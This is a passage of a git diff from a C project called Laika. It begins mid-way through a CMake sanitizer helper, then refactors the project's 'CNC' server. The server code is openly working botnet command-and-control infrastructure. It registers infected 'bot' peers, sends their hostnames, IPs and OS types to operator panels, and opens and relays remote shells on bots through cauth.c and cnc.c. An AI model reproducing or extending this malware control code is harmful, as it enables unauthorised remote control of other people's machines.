set(${PREFIX}_${COMPILER}_FLAGS "${FLAG}" CACHE STRING
"${NAME} flags for ${COMPILER} compiler.")
mark_as_advanced(${PREFIX}_${COMPILER}_FLAGS)
break()
endif ()
endforeach ()
if (NOT ${PREFIX}_FLAG_DETECTED)
set(${PREFIX}_${COMPILER}_FLAGS "" CACHE STRING
"${NAME} flags for ${COMPILER} compiler.")
mark_as_advanced(${PREFIX}_${COMPILER}_FLAGS)
message(WARNING "${NAME} is not available for ${COMPILER} "
"compiler. Targets using this compiler will be "
"compiled without ${NAME}.")
endif ()
endif ()
endforeach ()
endfunction ()
# Helper to assign sanitizer flags for TARGET.
function (sanitizer_add_flags TARGET NAME PREFIX)
# Get list of compilers used by target and check, if sanitizer is available
# for this target. Other compiler checks like check for conflicting
# compilers will be done in add_sanitizers function.
sanitizer_target_compilers(${TARGET} TARGET_COMPILER)
list(LENGTH TARGET_COMPILER NUM_COMPILERS)
if ("${${PREFIX}_${TARGET_COMPILER}_FLAGS}" STREQUAL "")
return()
endif()
# Set compile- and link-flags for target.
set_property(TARGET ${TARGET} APPEND_STRING
PROPERTY COMPILE_FLAGS " ${${PREFIX}_${TARGET_COMPILER}_FLAGS}")
set_property(TARGET ${TARGET} APPEND_STRING
PROPERTY COMPILE_FLAGS " ${SanBlist_${TARGET_COMPILER}_FLAGS}")
set_property(TARGET ${TARGET} APPEND_STRING
PROPERTY LINK_FLAGS " ${${PREFIX}_${TARGET_COMPILER}_FLAGS}")
endfunction ()

View File

@@ -13,8 +13,5 @@ file(GLOB_RECURSE CNCHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
add_executable(LaikaCNC ${CNCSOURCE} ${CNCHEADERS})
target_link_libraries(LaikaCNC PUBLIC LaikaLib)
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
target_compile_definitions(LaikaCNC PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
# add include directory
target_include_directories(LaikaCNC PUBLIC ${CNC_INCLUDEDIR})

View File

@@ -2,16 +2,17 @@
#define LAIKA_CNC_PANEL_H
#include "cnc.h"
#include "lpeer.h"
#include "net/lpeer.h"
void laikaC_sendPeerList(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer);
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
void laikaC_closeAuthShell(struct sLaika_peer *auth);
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData);
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData);
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData);
#endif

View File

@@ -1,30 +1,28 @@
#ifndef LAIKA_CNC_H
#define LAIKA_CNC_H
#include "core/hashmap.h"
#include "core/lmem.h"
#include "core/ltask.h"
#include "laika.h"
#include "lpacket.h"
#include "lsocket.h"
#include "lpolllist.h"
#include "lpeer.h"
#include "ltask.h"
#include "hashmap.h"
#include "net/lpacket.h"
#include "net/lpeer.h"
#include "net/lpolllist.h"
#include "net/lsocket.h"
/* kill peers if they haven't ping'd within a minute */
#define LAIKA_PEER_TIMEOUT 60 * 1000
typedef bool (*tLaika_peerIter)(struct sLaika_peer *peer, void *uData);
struct sLaika_cnc {
struct sLaika_cnc
{
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
struct sLaika_socket sock;
struct sLaika_pollList pList;
struct hashmap *peers; /* holds all peers, lookup using pubkey */
struct sLaika_peer **authPeers; /* holds connected panel peers */
uint8_t **authKeys;
int authKeysCount;
int authKeysCap;
int authPeersCount;
int authPeersCap;
struct hashmap *peers; /* holds all peers, lookup using pubkey */
laikaM_newVector(struct sLaika_peer *, authPeers); /* holds connected panel peers */
laikaM_newVector(uint8_t *, authKeys);
uint16_t port;
};
@@ -50,8 +48,10 @@ void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData)
struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub);
/* kills peers who haven't ping'd in a while */
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task,
clock_t currTick, void *uData);
bool laikaC_iterPeersNext(struct sLaika_cnc *cnc, size_t *i, struct sLaika_peer **peer);
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData);
#endif

View File

@@ -2,42 +2,59 @@
#define LAIKA_CNC_PEER_H
#include "laika.h"
#include "lpacket.h"
#include "lsocket.h"
#include "lpolllist.h"
#include "lpeer.h"
#include "net/lpacket.h"
#include "net/lpeer.h"
#include "net/lpolllist.h"
#include "net/lsocket.h"
struct sLaika_peerInfo {
struct sLaika_peerInfo
{
struct sLaika_shellInfo *shells[LAIKA_MAX_SHELLS]; /* currently connected shells */
struct sLaika_cnc *cnc;
long lastPing;
bool completeHandshake;
};
#define BASE_PEERINFO struct sLaika_peerInfo info;
struct sLaika_botInfo {
BASE_PEERINFO
struct sLaika_peer *shellAuths[LAIKA_MAX_SHELLS]; /* currently connected shells */
struct sLaika_shellInfo
{
struct sLaika_peer *bot;
struct sLaika_peer *auth;
uint32_t botShellID, authShellID;
uint16_t cols, rows;
};
struct sLaika_authInfo {
#define BASE_PEERINFO struct sLaika_peerInfo info;
/* these will differ someday */
struct sLaika_botInfo
{
BASE_PEERINFO
};
struct sLaika_authInfo
{
BASE_PEERINFO
struct sLaika_peer *shellBot; /* currently connected shell */
uint32_t shellID;
};
#undef BASE_PEERINFO
#define GETPINFOFROMPEER(x) ((struct sLaika_peerInfo *)x->uData)
#define GETBINFOFROMPEER(x) ((struct sLaika_botInfo *)x->uData)
#define GETAINFOFROMPEER(x) ((struct sLaika_authInfo *)x->uData)
struct sLaika_peerInfo *laikaC_newPeerInfo(struct sLaika_cnc *cnc);
struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc);
struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc);
void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo);
int laikaC_addShell(struct sLaika_botInfo *bInfo, struct sLaika_peer *auth);
void laikaC_rmvShell(struct sLaika_botInfo *bInfo, struct sLaika_peer *auth);
struct sLaika_shellInfo *laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth,
uint16_t cols, uint16_t rows);
void laikaC_closeShell(struct sLaika_shellInfo *shell);
void laikaC_closeBotShells(struct sLaika_peer *bot);
void laikaC_closeShells(struct sLaika_peer *peer);
void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handlePeerLoginReq(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);

122
cnc/src/cauth.c Normal file
View File

@@ -0,0 +1,122 @@
#include "cauth.h"
#include "cnc.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "cpeer.h"
void laikaC_sendPeerList(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
{
struct sLaika_peer *peer;
size_t i = 0;
/* send authPeer details on each peer that *isn't* itself */
while (laikaC_iterPeersNext(cnc, &i, &peer)) {
if (peer != authPeer) {
LAIKA_DEBUG("sending peer info %p to auth %p)\n", peer, authPeer);
laikaC_sendNewPeer(authPeer, peer);
}
}
}
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
{
laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_ADD_PEER_RES);
/* write the peer's info */
laikaS_write(&authPeer->sock, peer->peerPub, sizeof(peer->peerPub));
laikaS_write(&authPeer->sock, peer->hostname, LAIKA_HOSTNAME_LEN);
laikaS_write(&authPeer->sock, peer->inet, LAIKA_INET_LEN);
laikaS_write(&authPeer->sock, peer->ipStr, LAIKA_IPSTR_LEN);
laikaS_writeByte(&authPeer->sock, peer->type);
laikaS_writeByte(&authPeer->sock, peer->osType);
laikaS_endOutPacket(authPeer);
}
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
{
laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_RMV_PEER_RES);
/* write the peer's pubkey */
laikaS_write(&authPeer->sock, peer->peerPub, sizeof(peer->peerPub));
laikaS_writeByte(&authPeer->sock, peer->type);
laikaS_endOutPacket(authPeer);
}
/* ================================[[ [Auth] Packet Handlers ]]================================= */
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData)
{
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_cnc *cnc = pInfo->cnc;
struct sLaika_peer *peer;
uint16_t cols, rows;
/* read pubkey & find peer */
laikaS_read(&authPeer->sock, pubKey, crypto_kx_PUBLICKEYBYTES);
if ((peer = laikaC_getPeerByPub(cnc, pubKey)) == NULL)
LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Requested peer doesn't exist!\n");
if (peer->type != PEER_BOT)
LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Requested peer isn't a bot!\n");
/* read term size */
cols = laikaS_readu16(&authPeer->sock);
rows = laikaS_readu16(&authPeer->sock);
/* open shell */
laikaC_openShell(peer, authPeer, cols, rows);
}
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData)
{
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_cnc *cnc = pInfo->cnc;
struct sLaika_shellInfo *shell;
uint32_t id;
id = laikaS_readu32(&authPeer->sock);
/* ignore malformed packet */
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
return;
laikaC_closeShell(shell);
}
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData)
{
uint8_t data[LAIKA_SHELL_DATA_MAX_LENGTH];
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_cnc *cnc = pInfo->cnc;
struct sLaika_peer *peer;
struct sLaika_shellInfo *shell;
uint32_t id;
if (sz - sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH)
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Wrong data size!\n");
id = laikaS_readu32(&authPeer->sock);
sz -= sizeof(uint32_t);
/* ignore malformed packet */
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
return;
peer = shell->bot;
/* read data */
laikaS_read(&authPeer->sock, data, sz);
/* forward to peer */
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
laikaS_writeu32(&peer->sock, shell->botShellID);
laikaS_write(&peer->sock, data, sz);
laikaS_endVarPacket(peer);
}

View File

@@ -1,57 +1,61 @@
#include "lmem.h"
#include "lsodium.h"
#include "lsocket.h"
#include "lerror.h"
#include "ltask.h"
#include "cpanel.h"
#include "cpeer.h"
#include "cnc.h"
/* ==============================================[[ PeerHashMap ]]=============================================== */
#include "core/lerror.h"
#include "core/lmem.h"
#include "core/lsodium.h"
#include "core/ltask.h"
#include "cauth.h"
#include "cpeer.h"
#include "net/lsocket.h"
typedef struct sCNC_PeerHashElem {
/* ======================================[[ PeerHashMap ]]======================================= */
typedef struct sCNC_PeerHashElem
{
struct sLaika_peer *peer;
uint8_t *pub;
} tCNC_PeerHashElem;
int cnc_PeerElemCompare(const void *a, const void *b, void *udata) {
int cnc_PeerElemCompare(const void *a, const void *b, void *udata)
{
const tCNC_PeerHashElem *ua = a;
const tCNC_PeerHashElem *ub = b;
return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES);
}
uint64_t cnc_PeerElemHash(const void *item, uint64_t seed0, uint64_t seed1) {
uint64_t cnc_PeerElemHash(const void *item, uint64_t seed0, uint64_t seed1)
{
const tCNC_PeerHashElem *u = item;
return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */
return *(uint64_t *)(u->pub); /* hashes pub key (first 8 bytes) */
}
/* ============================================[[ Packet Handlers ]]============================================= */
/* ====================================[[ Packet Handlers ]]==================================== */
bool checkPeerKey(struct sLaika_peer *peer, void *uData) {
bool checkPeerKey(struct sLaika_peer *peer, void *uData)
{
if (sodium_memcmp(peer->peerPub, uData, crypto_kx_PUBLICKEYBYTES) == 0)
LAIKA_ERROR("public key is already in use!\n");
return true;
}
void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
char magicBuf[LAIKA_MAGICLEN];
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_cnc *cnc = pInfo->cnc;
char *tempIPBuf;
uint8_t major, minor;
laikaS_read(&peer->sock, (void*)magicBuf, LAIKA_MAGICLEN);
laikaS_read(&peer->sock, (void *)magicBuf, LAIKA_MAGICLEN);
major = laikaS_readByte(&peer->sock);
minor = laikaS_readByte(&peer->sock);
peer->osType = laikaS_readByte(&peer->sock);
peer->type = PEER_BOT;
if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0
|| major != LAIKA_VERSION_MAJOR
|| minor != LAIKA_VERSION_MINOR)
if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0 || major != LAIKA_VERSION_MAJOR ||
minor != LAIKA_VERSION_MINOR)
LAIKA_ERROR("invalid handshake request!\n");
/* read peer's public key */
@@ -61,15 +65,17 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
laikaS_read(&peer->sock, peer->hostname, LAIKA_HOSTNAME_LEN);
laikaS_read(&peer->sock, peer->inet, LAIKA_INET_LEN);
/* check and make sure there's not already a peer with the same key (might throw an LAIKA_ERROR, which will kill the peer) */
laikaC_iterPeers(cnc, checkPeerKey, (void*)peer->peerPub);
/* check and make sure there's not already a peer with the same key (might throw an LAIKA_ERROR,
* which will kill the peer) */
laikaC_iterPeers(cnc, checkPeerKey, (void *)peer->peerPub);
/* restore null-terminator */
peer->hostname[LAIKA_HOSTNAME_LEN-1] = '\0';
peer->inet[LAIKA_INET_LEN-1] = '\0';
peer->hostname[LAIKA_HOSTNAME_LEN - 1] = '\0';
peer->inet[LAIKA_INET_LEN - 1] = '\0';
/* gen session keys */
if (crypto_kx_server_session_keys(peer->inKey, peer->outKey, cnc->pub, cnc->priv, peer->peerPub) != 0)
if (crypto_kx_server_session_keys(peer->inKey, peer->outKey, cnc->pub, cnc->priv,
peer->peerPub) != 0)
LAIKA_ERROR("failed to gen session key!\n");
/* encrypt all future packets */
@@ -77,23 +83,24 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
/* queue response */
laikaS_startOutPacket(peer, LAIKAPKT_HANDSHAKE_RES);
laikaS_writeByte(&peer->sock, laikaS_isBigEndian());
laikaS_writeByte(&peer->sock, laikaM_isBigEndian());
laikaS_write(&peer->sock, peer->salt, LAIKA_HANDSHAKE_SALT_LEN);
laikaS_endOutPacket(peer);
/* handshake (mostly) complete */
laikaC_onAddPeer(cnc, peer);
LAIKA_DEBUG("accepted handshake from peer %p\n", peer);
/* handshake (mostly) complete, we now wait for the PEER_LOGIN packets */
}
void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
pInfo->lastPing = laikaT_getTime();
laikaS_emptyOutPacket(peer, LAIKAPKT_PINGPONG); /* gg 2 ez */
}
/* =============================================[[ Packet Tables ]]============================================== */
/* =====================================[[ Packet Tables ]]===================================== */
/* clang-format off */
#define DEFAULT_PKT_TBL \
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_REQ, \
@@ -104,11 +111,15 @@ void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
laikaC_handlePing, \
0, \
false), \
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, \
laikaC_handleAuthenticatedHandshake, \
sizeof(uint8_t), \
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_PEER_LOGIN_REQ, \
laikaC_handlePeerLoginReq, \
sizeof(uint8_t) + LAIKA_HANDSHAKE_SALT_LEN, \
false)
struct sLaika_peerPacketInfo laikaC_peerPktTable[LAIKAPKT_MAXNONE] = {
DEFAULT_PKT_TBL
};
struct sLaika_peerPacketInfo laikaC_botPktTbl[LAIKAPKT_MAXNONE] = {
DEFAULT_PKT_TBL,
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE,
@@ -117,7 +128,7 @@ struct sLaika_peerPacketInfo laikaC_botPktTbl[LAIKAPKT_MAXNONE] = {
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
laikaC_handleShellData,
0,
sizeof(uint32_t), /* packet must be bigger than this */
true),
};
@@ -129,33 +140,33 @@ struct sLaika_peerPacketInfo laikaC_authPktTbl[LAIKAPKT_MAXNONE] = {
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE,
laikaC_handleAuthenticatedShellClose,
0,
sizeof(uint32_t),
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
laikaC_handleAuthenticatedShellData,
0,
sizeof(uint32_t), /* packet must be bigger than this */
true),
};
#undef DEFAULT_PKT_TBL
/* ==================================================[[ CNC ]]=================================================== */
/* clang-format on */
struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
/* ==========================================[[ CNC ]]========================================== */
struct sLaika_cnc *laikaC_newCNC(uint16_t port)
{
struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc));
/* init peer hashmap & panel list */
cnc->peers = hashmap_new(sizeof(tCNC_PeerHashElem), 8, 0, 0, cnc_PeerElemHash, cnc_PeerElemCompare, NULL, NULL);
cnc->authPeers = NULL;
cnc->authKeys = NULL;
cnc->authKeysCount = 0;
cnc->authKeysCap = 4;
cnc->authPeersCap = 4;
cnc->authPeersCount = 0;
cnc->peers = hashmap_new(sizeof(tCNC_PeerHashElem), 8, 0, 0, cnc_PeerElemHash,
cnc_PeerElemCompare, NULL, NULL);
laikaM_initVector(cnc->authPeers, 4);
laikaM_initVector(cnc->authKeys, 4);
cnc->port = port;
/* init socket & pollList */
laikaS_initSocket(&cnc->sock, NULL, NULL, NULL, NULL); /* we just need it for the raw socket fd and abstracted API :) */
/* init socket (we just need it for the raw socket fd and abstracted API :P) & pollList */
laikaS_initSocket(&cnc->sock, NULL, NULL, NULL, NULL);
laikaP_initPList(&cnc->pList);
if (sodium_init() < 0) {
@@ -174,7 +185,8 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
return cnc;
}
void laikaC_bindServer(struct sLaika_cnc *cnc) {
void laikaC_bindServer(struct sLaika_cnc *cnc)
{
/* bind sock to port */
laikaS_bind(&cnc->sock, cnc->port);
@@ -182,7 +194,8 @@ void laikaC_bindServer(struct sLaika_cnc *cnc) {
laikaP_addSock(&cnc->pList, &cnc->sock);
}
void laikaC_freeCNC(struct sLaika_cnc *cnc) {
void laikaC_freeCNC(struct sLaika_cnc *cnc)
{
int i;
laikaS_cleanSocket(&cnc->sock);
@@ -190,55 +203,73 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc) {
hashmap_free(cnc->peers);
/* free auth keys */
for (i = 0; i < cnc->authKeysCount; i++) {
for (i = 0; i < laikaM_countVector(cnc->authKeys); i++) {
laikaM_free(cnc->authKeys[i]);
}
laikaM_free(cnc->authKeys);
laikaM_free(cnc);
}
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
{
int i;
((struct sLaika_peerInfo*)peer->uData)->completeHandshake = true;
/* add peer to panels list (if it's a panel) */
if (peer->type == PEER_AUTH)
laikaC_addAuth(cnc, peer);
/* notify connected panels of the newly connected peer */
for (i = 0; i < cnc->authPeersCount; i++) {
laikaC_sendNewPeer(cnc->authPeers[i], peer);
}
/* add to peer lookup map */
hashmap_set(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer});
/* notify connected panels of the newly connected peer */
for (i = 0; i < laikaM_countVector(cnc->authPeers); i++) {
laikaC_sendNewPeer(cnc->authPeers[i], peer);
}
switch (peer->type) {
case PEER_PEER:
/* should never be reached */
break;
case PEER_BOT:
/* TODO */
break;
case PEER_AUTH:
/* add peer to panels list (if it's a panel) */
laikaC_addAuth(cnc, peer);
/* send a list of peers */
laikaC_sendPeerList(cnc, peer);
break;
default:
break;
}
GETPINFOFROMPEER(peer)->completeHandshake = true;
}
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
{
int i;
/* ignore uninitalized peers */
if (!((struct sLaika_peerInfo*)peer->uData)->completeHandshake)
if (!(GETPINFOFROMPEER(peer)->completeHandshake))
return;
/* close any open shells */
laikaC_closeShells(peer);
switch (peer->type) {
case PEER_BOT: {
/* close any open shells */
laikaC_closeBotShells(peer);
break;
}
case PEER_AUTH: {
laikaC_closeAuthShell(peer);
/* remove peer from panels list */
laikaC_rmvAuth(cnc, peer);
break;
}
default: break;
case PEER_PEER:
/* should never be reached */
break;
case PEER_BOT:
/* TODO */
break;
case PEER_AUTH:
/* remove peer from panels list */
laikaC_rmvAuth(cnc, peer);
break;
default:
break;
}
/* notify connected panels of the disconnected peer */
for (i = 0; i < cnc->authPeersCount; i++) {
for (i = 0; i < laikaM_countVector(cnc->authPeers); i++) {
laikaC_sendRmvPeer(cnc->authPeers[i], peer);
}
@@ -246,7 +277,8 @@ void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
hashmap_delete(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer});
}
void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTYPE type) {
void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTYPE type)
{
/* make sure to update connected peers */
laikaC_onRmvPeer(cnc, peer);
@@ -256,78 +288,88 @@ void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTY
/* update accepted packets */
peer->type = type;
switch (type) {
case PEER_AUTH:
peer->packetTbl = laikaC_authPktTbl;
peer->uData = laikaC_newAuthInfo(cnc);
break;
case PEER_BOT:
peer->packetTbl = laikaC_botPktTbl;
peer->uData = laikaC_newBotInfo(cnc);
break;
default:
LAIKA_ERROR("laikaC_setPeerType: invalid peerType!\n");
break;
case PEER_PEER:
peer->packetTbl = laikaC_peerPktTable;
peer->uData = laikaC_newPeerInfo(cnc);
break;
case PEER_AUTH:
peer->packetTbl = laikaC_authPktTbl;
peer->uData = laikaC_newAuthInfo(cnc);
break;
case PEER_BOT:
peer->packetTbl = laikaC_botPktTbl;
peer->uData = laikaC_newBotInfo(cnc);
break;
default:
LAIKA_ERROR("laikaC_setPeerType: invalid peerType!\n");
break;
}
/* a new (but not-so-new) peer has arrived */
laikaC_onAddPeer(cnc, peer);
}
void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
{
/* grow array if we need to */
laikaM_growarray(struct sLaika_peer*, cnc->authPeers, 1, cnc->authPeersCount, cnc->authPeersCap);
laikaM_growVector(struct sLaika_peer *, cnc->authPeers, 1);
/* insert into authenticated peer table */
cnc->authPeers[cnc->authPeersCount++] = authPeer;
cnc->authPeers[laikaM_countVector(cnc->authPeers)++] = authPeer;
LAIKA_DEBUG("added panel %p!\n", authPeer);
}
void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
{
int i;
for (i = 0; i < cnc->authPeersCount; i++) {
for (i = 0; i < laikaM_countVector(cnc->authPeers); i++) {
if (cnc->authPeers[i] == authPeer) { /* we found the index for our panel! */
laikaM_rmvarray(cnc->authPeers, cnc->authPeersCount, i, 1);
laikaM_rmvVector(cnc->authPeers, i, 1);
return;
}
}
}
void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key) {
void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key)
{
uint8_t *buf;
laikaM_growarray(uint8_t*, cnc->authKeys, 1, cnc->authKeysCount, cnc->authKeysCap);
laikaM_growVector(uint8_t *, cnc->authKeys, 1);
buf = laikaM_malloc(crypto_kx_PUBLICKEYBYTES);
if (!laikaK_loadKeys(buf, NULL, key, NULL))
LAIKA_ERROR("Failed to load key '%s'\n", key);
/* insert key */
cnc->authKeys[cnc->authKeysCount++] = buf;
cnc->authKeys[laikaM_countVector(cnc->authKeys)++] = buf;
printf("[~] Added authenticated public key '%s'\n", key);
}
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
{
laikaC_onRmvPeer(cnc, peer);
/* free peerInfo if it's defined */
if (peer->uData)
laikaC_freePeerInfo(peer, peer->uData);
laikaP_rmvSock(&cnc->pList, (struct sLaika_socket*)peer);
laikaP_rmvSock(&cnc->pList, (struct sLaika_socket *)peer);
laikaS_freePeer(peer);
LAIKA_DEBUG("peer %p killed!\n", peer);
}
/* socket event */
void laikaC_onPollFail(struct sLaika_socket *sock, void *uData) {
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
void laikaC_onPollFail(struct sLaika_socket *sock, void *uData)
{
struct sLaika_peer *peer = (struct sLaika_peer *)sock;
struct sLaika_cnc *cnc = (struct sLaika_cnc *)uData;
laikaC_killPeer(cnc, peer);
}
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout)
{
struct sLaika_peer *peer;
struct sLaika_pollEvent *evnts, *evnt;
int numEvents, i;
@@ -344,17 +386,12 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
for (i = 0; i < numEvents; i++) {
evnt = &evnts[i];
if (evnt->sock == &cnc->sock) { /* event on listener? */
peer = laikaS_newPeer(
laikaC_botPktTbl,
&cnc->pList,
laikaC_onPollFail,
cnc,
(void*)laikaC_newBotInfo(cnc)
);
peer = laikaS_newPeer(laikaC_peerPktTable, &cnc->pList, laikaC_onPollFail, cnc,
(void *)laikaC_newPeerInfo(cnc));
LAIKA_TRY
/* setup and accept new peer */
laikaS_acceptFrom(&peer->sock, &cnc->sock, peer->ipv4);
laikaS_acceptFrom(&peer->sock, &cnc->sock, peer->ipStr);
laikaS_setNonBlock(&peer->sock);
/* add to our pollList */
@@ -376,53 +413,58 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
return true;
}
struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub) {
tCNC_PeerHashElem *elem = (tCNC_PeerHashElem*)hashmap_get(cnc->peers, &(tCNC_PeerHashElem){.pub = pub});
struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub)
{
tCNC_PeerHashElem *elem =
(tCNC_PeerHashElem *)hashmap_get(cnc->peers, &(tCNC_PeerHashElem){.pub = pub});
return elem ? elem->peer : NULL;
}
bool sweepPeers(struct sLaika_peer *peer, void *uData) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)peer->uData;
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task,
clock_t currTick, void *uData)
{
struct sLaika_cnc *cnc = (struct sLaika_cnc *)uData;
struct sLaika_peer *peer;
struct sLaika_peerInfo *pInfo;
size_t i = 0;
long currTime = laikaT_getTime();
/* peer has been silent for a while, kill 'em */
if (currTime - pInfo->lastPing > LAIKA_PEER_TIMEOUT) {
LAIKA_DEBUG("timeout reached for %p! [%d]\n", peer, currTime - pInfo->lastPing);
laikaC_killPeer(cnc, peer);
